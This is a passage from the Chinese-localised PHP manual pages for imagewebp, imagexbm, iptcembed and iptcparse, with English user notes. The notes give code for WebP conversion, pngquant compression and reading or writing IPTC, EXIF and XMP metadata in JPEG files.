        if ($removeOld)
            unlink($source);

        return $destination;
    }
Sam 24-Jun-2021 08:47
Safari on mac now has limited support (limited to Safari 14+ on Big Sur or later)

Safari on iOS 14.4 and higher has full support
vinicius dot sizilio at gmail dot com 18-Apr-2020 01:07
To convert a PNG image to Webp, we can do this:

<?php

// Image
$dir = 'img/countries/';
$name = 'brazil.png';
$newName = 'brazil.webp';

// Create and save
$img = imagecreatefrompng($dir . $name);
imagepalettetotruecolor($img);
imagealphablending($img, true);
imagesavealpha($img, true);
imagewebp($img, $dir . $newName, 100);
imagedestroy($img);

?>
day4gerard 14-Nov-2019 07:14
WebP is not yet supported by Safari, although they are experimenting with it.

Check out https://caniuse.com/#search=webp for the latest support information.
Khalyomede 01-Feb-2019 07:24
As of today (end of january 2019), WebP is now supported across all the major browsers (Edge, Chrome, Firefox, Opera).
mauro dot ludovico dot colella at gmail dot com 12-Feb-2015 06:41
It is also possible to defer the creation of png replacements for WebP images to the client, with notably the library libwebpjs enabling transparent conversion.
orangefish at sogetthis dot com 25-Jun-2013 11:32
WebP is a great file format, but it's basically supported only by Chrome. For WebP files with transparency it's necessary to have PNG fallback for other browsers (otherwise it won't work in iOS, Firefox, IE, etc.).

Regular truecolor PNG with alpha gives pretty large files, but there's a special smaller PNG file variant that can be created by pngquant - a command line utility.

If you have pngquant 1.8 on your server (just get package from official pngquant website), then you can create small fallback images (with quality better than from PHP's libgd):

<?php

/**
 * Optimizes PNG file with pngquant 1.8 or later (reduces file size of 24-bit/32-bit PNG images).
 *
 * You need to install pngquant 1.8.x on the server (ancient version 1.0 won't work).
 * There's package for Debian/Ubuntu and RPM for other distributions on http://pngquant.org
 *
 * @param $path_to_png_file string - path to any PNG file, e.g. $_FILE['file']['tmp_name']
 * @param $max_quality int - conversion quality, useful values from 60 to 100 (smaller number = smaller file)
 * @return string - content of PNG file after conversion
 */
function compress_png($path_to_png_file, $max_quality = 90)
{
    if (!file_exists($path_to_png_file)) {
        throw new Exception("File does not exist: $path_to_png_file");
    }

    // guarantee that quality won't be worse than that.
    $min_quality = 60;

    // '-' makes it use stdout, required to save to $compressed_png_content variable
    // '<' makes it read from the given file path
    // escapeshellarg() makes this safe to use with any path
    $compressed_png_content = shell_exec("pngquant --quality=$min_quality-$max_quality - < ".escapeshellarg(    $path_to_png_file));

    if (!$compressed_png_content) {
        throw new Exception("Conversion to compressed PNG failed. Is pngquant 1.8+ installed on the server?");
    }

    return $compressed_png_content;
}
?>

So for example when user is uploading a PNG file:

<?php

$read_from_path = $_FILE['file']['tmp_name'];
$save_to_path = "uploads/compressed_file.png";

$compressed_png_content = compress_png($read_from_path);
file_put_contents($save_to_path, $compressed_png_content);

// you don't need move_uploaded_file().

// and for webp:
imagewebp(imagecreatefrompng($read_from_path), $save_to_path + ".webp");
?>

And then you can use URL with .webp version in Chrome and browsers that send Accept: image/webp, and .png for the rest (and all will get small file!)


输出 XBM 图像到浏览器或文件

  • ? imagewebp
  • iptcembed ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出 XBM 图像到浏览器或文件

imagexbm

(PHP 5, PHP 7, PHP 8)

imagexbm — 输出 XBM 图像到浏览器或文件

说明

imagexbm(GdImage $image, ?string $filename, ?int $foreground_color = null): bool

输出或保存 image 的 XBM 版本。

Note: imagexbm() 不应用任何填充，因此图片宽度必须是 8 的倍数。从 PHP 7.0.9 起此限制不再适用。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

filename

string 格式，给出保存到文件的路径。如果为 null，将直接输出原始图像流。

The filename (without the .xbm extension) is also used for the C identifiers of the XBM, whereby non alphanumeric characters of the current locale are substituted by underscores. If filename is set to null, image is used to build the C identifiers.

foreground_color

通过设置从 imagecolorallocate() 获得的标识符来使用此参数设置前景色。默认前景色是黑色。所有的其它颜色都视为背景。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | foreground_color 现在允许为 null。
8.0.0 | 第四个参数未使用，已移除。

示例

Example #1 保存 XBM 文件

<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 保存图像
imagexbm($im, 'simpletext.xbm');

// 释放内存
imagedestroy($im);
?>

Example #2 以不同前景色保存一个 XBM 文件

<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 设置替换的前景色
$foreground_color = imagecolorallocate($im, 255, 0, 0);

// 保存图像
imagexbm($im, NULL, $foreground_color);

// 释放内存
imagedestroy($im);
?>

注释

User Contributed Notes

There are no user contributed notes for this page.


嵌入二进制 IPTC 数据到 JPEG 图像中

  • ? imagexbm
  • iptcparse ?
  • PHP Manual
  • GD 和图像处理 函数
  • 嵌入二进制 IPTC 数据到 JPEG 图像中

iptcembed

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcembed — 嵌入二进制 IPTC 数据到 JPEG 图像中

说明

iptcembed(string $iptc_data, string $filename, int $spool = 0): string|bool

嵌入二进制 IPTC 数据到 JPEG 图像中。

参数

iptc_data

写入的数据。

filename

JPEG 图片的路径。

spool

Spool flag。如果 spool flag 小于 2，然后 JPEG 将使用字符串返回。否则 JPEG 将打印到 STDOUT。

返回值

如果 spool 小于 2，将返回 JPEG， 或者在失败时返回 false。否则成功时返回 true 或者在失败时返回 false。

示例

Example #1 嵌入 IPTC 数据到 JPEG

<?php

// iptc_make_tag() function by Thies C. Arntzen
function iptc_make_tag($rec, $data, $value)
{
$length = strlen($value);
$retval = chr(0x1C) . chr($rec) . chr($data);

if($length < 0x8000)
{
$retval .= chr($length >> 8) . chr($length & 0xFF);
}
else
{
$retval .= chr(0x80) .
chr(0x04) .
chr(($length >> 24) & 0xFF) .
chr(($length >> 16) & 0xFF) .
chr(($length >> 8) & 0xFF) .
chr($length & 0xFF);
}

return $retval . $value;
}

// Path to jpeg file
$path = './phplogo.jpg';

// Set the IPTC tags
$iptc = array(
'2#120' => 'Test image',
'2#116' => 'Copyright 2008-2009, The PHP Group'
);

// Convert the IPTC tags into binary code
$data = '';

foreach($iptc as $tag => $string)
{
$tag = substr($tag, 2);
$data .= iptc_make_tag(2, $tag, $string);
}

// Embed the IPTC data
$content = iptcembed($data, $path);

// Write the new image data out to the file.
$fp = fopen($path, "wb");
fwrite($fp, $content);
fclose($fp);
?>

注释

Note:

此函数不需要 GD 图象库。

User Contributed Notes

ebashkoff at gmail dot com 12-Dec-2013 03:05
The following code embeds both IPTC APP segment 13 and EXIF APP segment 1 data from a source file and embeds it into a destination file.  This overcomes the limitation where the iptcembed statement does not seem to embed EXIF data, only IPTC data.

function transferIptcExif2File($srcfile, $destfile) {
    // Function transfers EXIF (APP1) and IPTC (APP13) from $srcfile and adds it to $destfile
    // JPEG file has format 0xFFD8 + [APP0] + [APP1] + ... [APP15] + <image data> where [APPi] are optional
    // Segment APPi (where i=0x0 to 0xF) has format 0xFFEi + 0xMM + 0xLL + <data> (where 0xMM is
    //   most significant 8 bits of (strlen(<data>) + 2) and 0xLL is the least significant 8 bits
    //   of (strlen(<data>) + 2)

    if (file_exists($srcfile) && file_exists($destfile)) {
        $srcsize = @getimagesize($srcfile, $imageinfo);
        // Prepare EXIF data bytes from source file
        $exifdata = (is_array($imageinfo) && key_exists("APP1", $imageinfo)) ? $imageinfo['APP1'] : null;
        if ($exifdata) {
            $exiflength = strlen($exifdata) + 2;
            if ($exiflength > 0xFFFF) return false;
            // Construct EXIF segment
            $exifdata = chr(0xFF) . chr(0xE1) . chr(($exiflength >> 8) & 0xFF) . chr($exiflength & 0xFF) . $exifdata;
        }
        // Prepare IPTC data bytes from source file
        $iptcdata = (is_array($imageinfo) && key_exists("APP13", $imageinfo)) ? $imageinfo['APP13'] : null;
        if ($iptcdata) {
            $iptclength = strlen($iptcdata) + 2;
            if ($iptclength > 0xFFFF) return false;
            // Construct IPTC segment
            $iptcdata = chr(0xFF) . chr(0xED) . chr(($iptclength >> 8) & 0xFF) . chr($iptclength & 0xFF) . $iptcdata;
        }
        $destfilecontent = @file_get_contents($destfile);
        if (!$destfilecontent) return false;
        if (strlen($destfilecontent) > 0) {
            $destfilecontent = substr($destfilecontent, 2);
            $portiontoadd = chr(0xFF) . chr(0xD8);          // Variable accumulates new & original IPTC application segments
            $exifadded = !$exifdata;
            $iptcadded = !$iptcdata;

            while ((substr($destfilecontent, 0, 2) & 0xFFF0) === 0xFFE0) {
                $segmentlen = (substr($destfilecontent, 2, 2) & 0xFFFF);
                $iptcsegmentnumber = (substr($destfilecontent, 1, 1) & 0x0F);   // Last 4 bits of second byte is IPTC segment #
                if ($segmentlen <= 2) return false;
                $thisexistingsegment = substr($destfilecontent, 0, $segmentlen + 2);
                if ((1 <= $iptcsegmentnumber) && (!$exifadded)) {
                    $portiontoadd .= $exifdata;
                    $exifadded = true;
                    if (1 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                if ((13 <= $iptcsegmentnumber) && (!$iptcadded)) {
                    $portiontoadd .= $iptcdata;
                    $iptcadded = true;
                    if (13 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                $portiontoadd .= $thisexistingsegment;
                $destfilecontent = substr($destfilecontent, $segmentlen + 2);
            }
            if (!$exifadded) $portiontoadd .= $exifdata;  //  Add EXIF data if not added already
            if (!$iptcadded) $portiontoadd .= $iptcdata;  //  Add IPTC data if not added already
            $outputfile = fopen($destfile, 'w');
            if ($outputfile) return fwrite($outputfile, $portiontoadd . $destfilecontent); else return false;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
micheall at inthemdl dot net 29-May-2011 05:00
While using the class file noted below you'll notice setting an array of keywords with the set() function will not work.  Try this instead:
<?php
        function set($tag, $data) {
            if(is_array($data)){
                $c = count($data);
                for ($i=0; $i <$c; $i++){
                       $this->meta["2#$tag"][$i] = $data[$i];
                }
                $this->hasmeta=true;
            } else {
                $this->meta["2#$tag"]= Array( $data );
                $this->hasmeta=true;
            }
        }
?>
Jarek Milewski 22-Apr-2011 03:37
To remove all EXIF, XMP etc. tags from a jpeg file you need no resampling (which, by the way, may give you memory problems). It's just enough to recreate the image, presumably with 100% quality in order not to loose anything. The code is as simple as that:

<?php
    $img = imagecreatefromjpeg ($path);
    imagejpeg ($img, $path, 100);
    imagedestroy ($img);
?>
soporte at etic dot com dot mx 28-Mar-2011 06:50
I just found an error while trying to write several keywords (an array) with the binary function... please consider using the following:

<?php
function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                if(count($this->meta[$s])>1){
                    foreach ($this->meta[$s] as $row){
                        $iptc_new .= $this->iptc_maketag(2, $tag, $row);
                    }
                }else {
                    $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
                }
            }
            return $iptc_new;
        }
?>
Christoph Tavan 16-Dec-2010 03:30
For everybody having issues with unicode (UTF-8) text in IPTC fields, set the "Coded Character Set"-field in the envelop (1:90, see http://www.iptc.org/std/IIM/4.1/specification/IIMV4.1.pdf).

This can be accomplished by starting the $data-block with the following lines:

<?php
// These two lines ensure that UTF8-Encoding will work (set the 1:90 field in the envelop)
// @see http://cpanforum.com/threads/2114 for a hint
$utf8seq = chr(0x1b) . chr(0x25) . chr(0x47);
$length = strlen($utf8seq);
$data = chr(0x1C) . chr(1) . chr('090') . chr($length >> 8) . chr($length & 0xFF) . $utf8seq;
?>

After that you can continue like in the example:

<?php
foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}
?>
critto at o2 dot pl 14-Jul-2010 06:25
If you want just to copy the IPTC data, eg. at the thumbnail creation, you don't have to parse the binary IPTC data into array and back; just do this:

<?php
$fullFilePath='photo1.jpg';
$fullPathThumb = 'photo1thumb.jpg';
$imagesize        =    getImageSize($fullFilePath, $info);
if(isset($info['APP13'])){
    $content    =    iptcembed($info['APP13'], $fullPathThumb);
   @unlink($fullPathThumb);
   $fw = fopen($fullPathThumb, 'w');
   fwrite($fw, $content);
   fclose($fw);
}
?>
support at image-host-script dot com 22-Sep-2008 11:39
A class I recently wrote for manipulating IPTC data in an jpeg images. It does the job for editing exisiting data too, in easy manner. It is just a compilation of examples into single class.

<?

    /************************************************************\

        IPTC EASY 1.0 - IPTC data manipulator for JPEG images

        All reserved www.image-host-script.com

        Sep 15, 2008

    \************************************************************/

    DEFINE('IPTC_OBJECT_NAME', '005');
    DEFINE('IPTC_EDIT_STATUS', '007');
    DEFINE('IPTC_PRIORITY', '010');
    DEFINE('IPTC_CATEGORY', '015');
    DEFINE('IPTC_SUPPLEMENTAL_CATEGORY', '020');
    DEFINE('IPTC_FIXTURE_IDENTIFIER', '022');
    DEFINE('IPTC_KEYWORDS', '025');
    DEFINE('IPTC_RELEASE_DATE', '030');
    DEFINE('IPTC_RELEASE_TIME', '035');
    DEFINE('IPTC_SPECIAL_INSTRUCTIONS', '040');
    DEFINE('IPTC_REFERENCE_SERVICE', '045');
    DEFINE('IPTC_REFERENCE_DATE', '047');
    DEFINE('IPTC_REFERENCE_NUMBER', '050');
    DEFINE('IPTC_CREATED_DATE', '055');
    DEFINE('IPTC_CREATED_TIME', '060');
    DEFINE('IPTC_ORIGINATING_PROGRAM', '065');
    DEFINE('IPTC_PROGRAM_VERSION', '070');
    DEFINE('IPTC_OBJECT_CYCLE', '075');
    DEFINE('IPTC_BYLINE', '080');
    DEFINE('IPTC_BYLINE_TITLE', '085');
    DEFINE('IPTC_CITY', '090');
    DEFINE('IPTC_PROVINCE_STATE', '095');
    DEFINE('IPTC_COUNTRY_CODE', '100');
    DEFINE('IPTC_COUNTRY', '101');
    DEFINE('IPTC_ORIGINAL_TRANSMISSION_REFERENCE',     '103');
    DEFINE('IPTC_HEADLINE', '105');
    DEFINE('IPTC_CREDIT', '110');
    DEFINE('IPTC_SOURCE', '115');
    DEFINE('IPTC_COPYRIGHT_STRING', '116');
    DEFINE('IPTC_CAPTION', '120');
    DEFINE('IPTC_LOCAL_CAPTION', '121');

    class iptc {
        var $meta=Array();
        var $hasmeta=false;
        var $file=false;

        function iptc($filename) {
            $size = getimagesize($filename,$info);
            $this->hasmeta = isset($info["APP13"]);
            if($this->hasmeta)
                $this->meta = iptcparse ($info["APP13"]);
            $this->file = $filename;
        }
        function set($tag, $data) {
            $this->meta ["2#$tag"]= Array( $data );
            $this->hasmeta=true;
        }
        function get($tag) {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : false;
        }

        function dump() {
            print_r($this->meta);
        }
        function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
            }
            return $iptc_new;
        }
        function iptc_maketag($rec,$dat,$val) {
            $len = strlen($val);
            if ($len < 0x8000) {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr($len >> 8).
                   chr($len & 0xff).
                   $val;
            } else {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr(0x80).chr(0x04).
                   chr(($len >> 24) & 0xff).
                   chr(($len >> 16) & 0xff).
                   chr(($len >> 8 ) & 0xff).
                   chr(($len ) & 0xff).
                   $val;

            }
        }
        function write() {
            if(!function_exists('iptcembed')) return false;
            $mode = 0;
            $content = iptcembed($this->binary(), $this->file, $mode);
            $filename = $this->file;

            @unlink($filename); #delete if exists

            $fp = fopen($filename, "w");
            fwrite($fp, $content);
            fclose($fp);
        }

        #requires GD library installed
        function removeAllTags() {
            $this->hasmeta=false;
            $this->meta=Array();
            $img = imagecreatefromstring(implode(file($this->file)));
            @unlink($this->file); #delete if exists
            imagejpeg($img,$this->file,100);
        }
    };

?>

Example read copyright string:

$i = new iptc("test.jpg");
echo $i->get(IPTC_COPYRIGHT_STRING);

Update copyright statement:
$i = new iptc("test.jpg");
echo $i->set(IPTC_COPYRIGHT_STRING,"Here goes the new data");
$i->write();

NOTE1: Data may be anything, even a binary file. I have so far tested and embedded an MS-Excel file directly to jpeg and it worked just perfect.

NOTE2: The writing purpose, it uses GD Library.

Further imporvements / changes may be followed at www.image-host-script.com

I hope it helps.
Ali..
jb at ibbeck dot de 04-Oct-2007 07:40
If you have a file without any IPTC record, you can add a new, empty one by calling iptcembed with an empty string as first argument, like this:

$buffer = iptcembed("",$imagename,0);
$fp = fopen($imagename,"w");
fwrite($fp,$buffer);
fclose($fp);
Bryce Fisher 04-Jul-2007 09:55
In Thomas's wonderful code snippet below, the second parameter needs to be changed to "$filename", otherwise the script has no write the file. So the code should read:

<?php
//This function removes all header data from a JPG
function remove_XMP($image_in, $filename) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,$width, $height);
  imagejpeg($image_dest, $filename);
}
?>
muguran 13-May-2005 01:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com 09-Aug-2004 09:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at 30-May-2004 06:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at 06-May-2004 04:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net 20-Feb-2004 10:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//   $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net 19-Feb-2004 04:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
    $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
    $n_end += strlen ($xmp_end)-1; // last char of this block
    $endchar = $image [$n_str-1];
    if ($endchar == " ") {
      $endchar = "A";
    } else {
      $endchar = " ";
    }
    $xmp_len = $n_end-$n_str+1;
    $img_len = strlen ($image);
    $len = $img_len - $xmp_len;
    for ($i = $n_str; $i < $img_len; $i ++) {
      if ($i < $len) {
        $image [$i] = $image [$i+$xmp_len];
      } else {
        $image [$i] = $endchar;
      }
    }
    $image = rtrim ($image, $endchar);
    return true;
  } else {
    return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
    $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
    // chargement du fichier en m?moire
    $f_in = fopen ($filename_in, "rb");
    $img = fread ($f_in, $len_in);
    fclose ($f_in);
    // suppression du XMP de l'image
    if (XMP_remove_from_jpeg ($img)) {
      // enregistrement du fichier sur disque
      $f_out = fopen ($filename_out, "wb");
      fwrite ($f_out, $img, strlen ($img));
      fclose ($f_out);
    }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
rupix at rediffmail dot com 28-Jan-2002 04:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no 27-Jan-2002 03:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
      // Finds the IPTC numbers
      $tag = str_replace("2#", "", $s);
      // Creating the string
      $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                  return chr(0x1c).chr($rec).chr($dat).
                  chr($len >> 8).
                  chr($len & 0xff).
                  $val;
         else
                  return chr(0x1c).chr($rec).chr($dat).
                  chr(0x80).chr(0x04).
                  chr(($len >> 24) & 0xff).
                  chr(($len >> 16) & 0xff).
                  chr(($len >> 8 ) & 0xff).
                  chr(($len ) & 0xff).
                  $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption


将二进制 IPTC 块解析为单个标签

  • ? iptcembed
  • jpeg2wbmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将二进制 IPTC 块解析为单个标签

iptcparse

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcparse — 将二进制 IPTC 块解析为单个标签

说明

iptcparse(string $iptc_block): array|false

将 » IPTC 块解析为单个标签。

参数

iptc_block

二进制的 IPTC 块。

返回值

返回一个数组，用 tagmarker 作为索引，以 value 为值。如果出错或未发现 IPTC 数据则返回 false。

示例

Example #1 iptcparse() 与 getimagesize() 一起使用

<?php
$size = getimagesize('./test.jpg', $info);
if(isset($info['APP13']))
{
$iptc = iptcparse($info['APP13']);
var_dump($iptc);
}
?>

注释

Note:

此函数不需要 GD 图象库。

User Contributed Notes

oli4 at gmx dot li 08-Nov-2017 10:54
Is there a way to sort by keyword???
thx for help

<?php
    $files = glob("*.*");
    for ($i=0; $i<count($files); $i++)
     {
       $image = $files[$i];
$supported_file = array('jpg',);
$ext = strtolower(pathinfo($image, PATHINFO_EXTENSION));

$img = basename($image);
$size = getimagesize($img, $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    $keyword0 = $iptc["2#025"][0];
    if($keyword0 == "") {$keyword0 = "";} else {$keyword0 = $keyword0;}
    $keywords = $keyword0;
}

if (in_array($ext, $supported_file)) {
           echo '
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4 col-xl-3 outerContent" id="theme"><a class="example-image-link" href="',$img,'" data-lightbox="example-set" data-title="'.$keywords.'"><div class="innerContent" style="background-image: url(',$img,')"></div></a></div>';
           $keywords = "" ;
           } else {
               continue;
           }
         }
?>
tomasz at trejderowski dot pl 05-Sep-2013 01:39
I've managed to update "pkrohn at daemonize dot com" array, after 12 years since initial publication.

If you want to change some of IPCT header-strings into something more human-readable, try to use array similar to this:

$iptcHeaderArray = array
(
    '2#005'=>'DocumentTitle',
    '2#010'=>'Urgency',
    '2#015'=>'Category',
    '2#020'=>'Subcategories',
    '2#040'=>'SpecialInstructions',
    '2#055'=>'CreationDate',
    '2#080'=>'AuthorByline',
    '2#085'=>'AuthorTitle',
    '2#090'=>'City',
    '2#095'=>'State',
    '2#101'=>'Country',
    '2#103'=>'OTR',
    '2#105'=>'Headline',
    '2#110'=>'Source',
    '2#115'=>'PhotoSource',
    '2#116'=>'Copyright',
    '2#120'=>'Caption',
    '2#122'=>'CaptionWriter'
);
www.peterdebruin.net 22-Jul-2011 01:12
Nowadays IPTC captions may be encoded in UTF-8.
In that case, IPTC tag CodedCharacterSet would be set to "ESC % G".
This tag has tag marker "1#090".
To decode such a caption into simple ISO-8859-1, you could use the following code:

<?php
$IPTC_Caption = "";
$size = getimagesize( $image_path, $info );
if (isset($info["APP13"])) {
    if($iptc = iptcparse( $info["APP13"] ) ) {
        $IPTC_Caption = str_replace( "\000", "", $iptc["2#120"][0] );
        if(isset($iptc["1#090"]) && $iptc["1#090"][0] == "\x1B%G")
            $IPTC_Caption = utf8_decode($IPTC_Caption);
    }
}
?>

Of course, this will only preserve ISO-8859-1 characters.
For proper Unicode support, you should convert UTF-8 byte sequences into HTML character entities, or encode the whole web page in UTF-8.
michael wells 03-Sep-2004 05:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
        return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com 09-Aug-2004 09:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
05-Feb-2004 11:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
    $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
        $iptc = iptcparse($info["APP13"]);
        foreach (array_keys($iptc) as $s) {
            $c = count ($iptc[$s]);
            for ($i=0; $i <$c; $i++)
            {
                echo $s.' = '.$iptc[$s][$i].'<br>';
            }
        }
    }
}
Scin 14-Oct-2002 03:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
    echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
    foreach($value as $innerkey => $innervalue)
    {
        if( ($innerkey+1) != count($value) )
            echo "$innervalue, ";
        else
            echo "$innervalue";
    }
}
25-Apr-2002 07:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];   (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com 15-Jul-2001 04:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]){
        if (is_array($iptc)) {
        $caption = $iptc["2#120"][0];
    $graphic_name = $iptc["2#005"][0];
        $urgency = $iptc["2#010"][0];
    $category = $iptc["2#015"][0];
    // note that sometimes supp_categories contans multiple entries
